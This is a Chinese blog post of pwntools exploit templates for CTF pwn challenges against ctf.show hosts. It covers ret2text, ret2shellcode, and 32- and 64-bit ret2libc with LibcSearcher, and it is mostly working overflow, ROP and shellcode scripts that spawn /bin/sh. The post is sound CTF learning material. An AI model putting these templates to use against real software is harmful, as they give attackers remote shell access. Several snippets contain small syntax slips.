首页 > 其他分享 >模板

模板

时间:2024-10-14 14:25:35浏览次数:2  
标签:addr puts libc system sh pwn 模板

调试

gdb.attach(p)
pause()

ret2text

from pwn import *

context(arch="i386",os="linux",log_level="debug")
filename="./pwn"

p = remote("pwn.challenge.ctf.show",28104)
# p=process(filename)
elf=ELF(filename)
flag_addr=elf.sym['backdoor']
padding=0x12+4
payload=padding*b'a'+p32(flag_addr)
p.sendline(payload)
p.interactive()

ret2shellcode

from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

ret2libc

LibcSearcher传入的是整数类型

有system,有bin/sh

有system,无bin/sh

  • 有sh

    用sh代替bin/sh

  • 用get输入bin/sh到变量中,向system传入这个变量

    from pwn import *
    context(arch = 'i386',os = 'linux',log_level = 'debug')
    #io = process('./pwn')
    io = remote('pwn.challenge.ctf.show',28116)
    elf = ELF('./pwn')
    system = elf.sym['system']
    buf2 = 0x804B060
    gets = elf.sym['gets']
    pop_ebx = 0x8048409 # 0x08048409 : pop ebx ; ret
    payload = cyclic(0x6c+4) + p32(gets) + p32(pop_ebx) + p32(buf2) +
    p32(system) + 'aaaa' + p32(buf2)
    io.sendline(payload)
    io.sendline("/bin/sh")
    io.recv()
    io.interactive()
    

无system,无bin/sh

思路

  1. 通过puts等函数泄露出来这个函数__在got表的地址__
  2. 用libc.address=puts_addr-libc.sym['puts']计算偏移量,算出程序里的system函数和字符串“/bin/sh”的地址
  3. 利用溢出漏洞,构造rop,获取shell

32位

from pwn import *
from LibcSearcher import LibcSearcher

context(arch="i386",os="linux",log_level="debug")
filename="./pwn"

p = remote("pwn.challenge.ctf.show",28121)
# p=process(filename)
elf = ELF(filename)

padding = 0x6B+0x4
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload=flat([ b'a' * padding,puts_plt,main_addr,puts_got])
p.sendline(payload)
puts_addr = u32(p.recvuntil('\xf7')[-4:])
print(hex(puts_addr))

libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

payload=flat([b'a' * padding,system_addr,b'a' * 4,binsh_addr])
p.sendline(payload)

p.interactive()

64位

from pwn import *
from LibcSearcher import LibcSearcher

context(arch="amd64",os="linux",log_level="debug")
filename="./pwn"


p = remote("pwn.challenge.ctf.show", 28233)
# p=process(filename)
elf = ELF(filename)

# gdb.attach(p)
# pause()

padding = 0x20+0x8
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_ret=0x4007e3
ret_addr=0x04004fe

payload=flat([ b'a' * padding,rdi_ret,puts_got,puts_plt,ret_addr,main_addr])
p.sendline(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

#本地
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc_base=puts_addr-libc.symbols['puts']
# system_addr=libc_base+libc.symbols['system']
# binsh_addr=libc_base+next(libc.search(b"/bin/sh"))

# payload=flat([b'a' * padding,rdi_ret,binsh_addr,system_addr])
# p.sendline(payload)

#远程
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

payload=flat([b'a' * padding,rdi_ret,binsh_addr,system_addr])
p.sendline(payload)

p.interactive()

题目给泄露出的字符串wp参考

from pwn import *
from LibcSearcher import *
context(arch = 'i386',os = 'linux',log_level = 'debug')

#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28297)
elf = ELF('./pwn')

io.recvuntil("puts: ")
puts = eval(io.recvuntil("\n" , drop = True))
io.recvuntil("gift: ")
bin_sh = eval(io.recvuntil("\n" , drop = True))

libc = LibcSearcher("puts" , puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
paylad = b"a"*(0x9c+4) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(paylad)
io.interactive()

标签:addr,puts,libc,system,sh,pwn,模板
From: https://www.cnblogs.com/r0xy/p/18464027

相关文章

  • Wx64ST:一款轻松可修改的C语言Shellcode模板
    原创Alpha_h4ckFreeBuf关于windows_x64_shellcode_templatewindows_x64_shellcode_template简称为Wx64ST,它是一款功能强大的Shellcode模板,该模板基于C语言编写,其简单、可扩展和易于修改等特性可以帮助广大安全研究人员轻松开发适用于Windowsx64的Shellcode。值得一提的是,......
  • Windows Server 2025 OVF, released Sep 2024 (sysin) - VMware 虚拟机模板
    WindowsServer2025OVF,releasedSep2024(sysin)-VMware虚拟机模板2024年9月版本更新,现在自动运行sysprep,支持ESXiHostClient部署请访问原文链接:https://sysin.org/blog/windows-server-2025-ovf/查看最新版。原创作品,转载请保留出处。作者主页:sysin.org现......
  • 更改网站模板样式显示不出来
    如果你在更改了网站模板样式后发现样式没有显示出来,可以按照以下步骤进行排查和解决:确认文件路径是否正确检查CSS或样式文件的链接是否正确无误。确认文件是否存在于指定的路径下。检查浏览器缓存浏览器可能会缓存旧的样式文件。尝试清除浏览器缓存或按 Ctrl+F5 ......
  • 定义模板,同时将类定义与类实现分离(C++,以栈为例)
    一问题背景:        在以往单独实现树或栈时,只需要在开始使用typedef定义ElemType,后文便不必再考虑数据类型.        但是,在实现二叉树非递归遍历时,需要借助额外的栈,树内数据类型为ElemType,但是栈内的数据类型为树节点,或者说指向树的指针,c++自带<st......
  • 算法竞赛个人模板
    Math&DP&Datastructure&Graph&Geometry&Game表演者:magicat......
  • P4779 【模板】单源最短路径(标准版)
    堆优化版:通过定义一个最小堆来实现普通版本中的查找操作点击查看代码#include<iostream>#include<stack>#include<cmath>#include<algorithm>#include<set>#include<vector>#include<climits>#include<string.h>#include<map>#in......
  • Django的模板语法
    Django的模板语法1、初步认识2、原理1、初步认识本质上:在HTML中写一些占位符,由数据对这些占位符进行替换和处理。在views.py中用字典(键值对)的形式传参,在html文件中用两个花括号来显示单独的值列表、元组等数据类型的数据可通过点来访问索引,也可利用for循环、if......
  • 【C++】模板进阶
    【C++】模板进阶一.非类型模板参数二.模板的特化函数模板特化函数模板的特化步骤:类模板特化1.全特化2.偏特化(1)部分特化(2)参数更进一步的限制三.模板分离编译1.什么是分离编译2.模板的分离编译3.解决方法四.模板总结一.非类型模板参数模板参数分为:类类......
  • Springboot使用EasyExcel 的填充模板导出,导出为多Sheet工作簿
    概述Springboot使用EasyExcel的填充模板导出,导出为多Sheet工作簿详细代码Excel数据填充/***使用EasyExcel写入Excel*@paramexcelModelFilePath 模板文件地址*@paramsheetNameAndDataMap Sheet名称与Sheet数据Map集合,key为Sheet名称,value为Sheet数据集合*@ret......
  • 模板和静态文件
    模板和静态文件1、templates模板2、静态文件2.1、static目录2.2、引用静态文件1、templates模板"templates"目录用于存放模板文件,通常是用于动态生成页面的文件。在app01目录下创建templates文件夹,html文件均保存在templates中在urls.py中添加路径后,在views.py......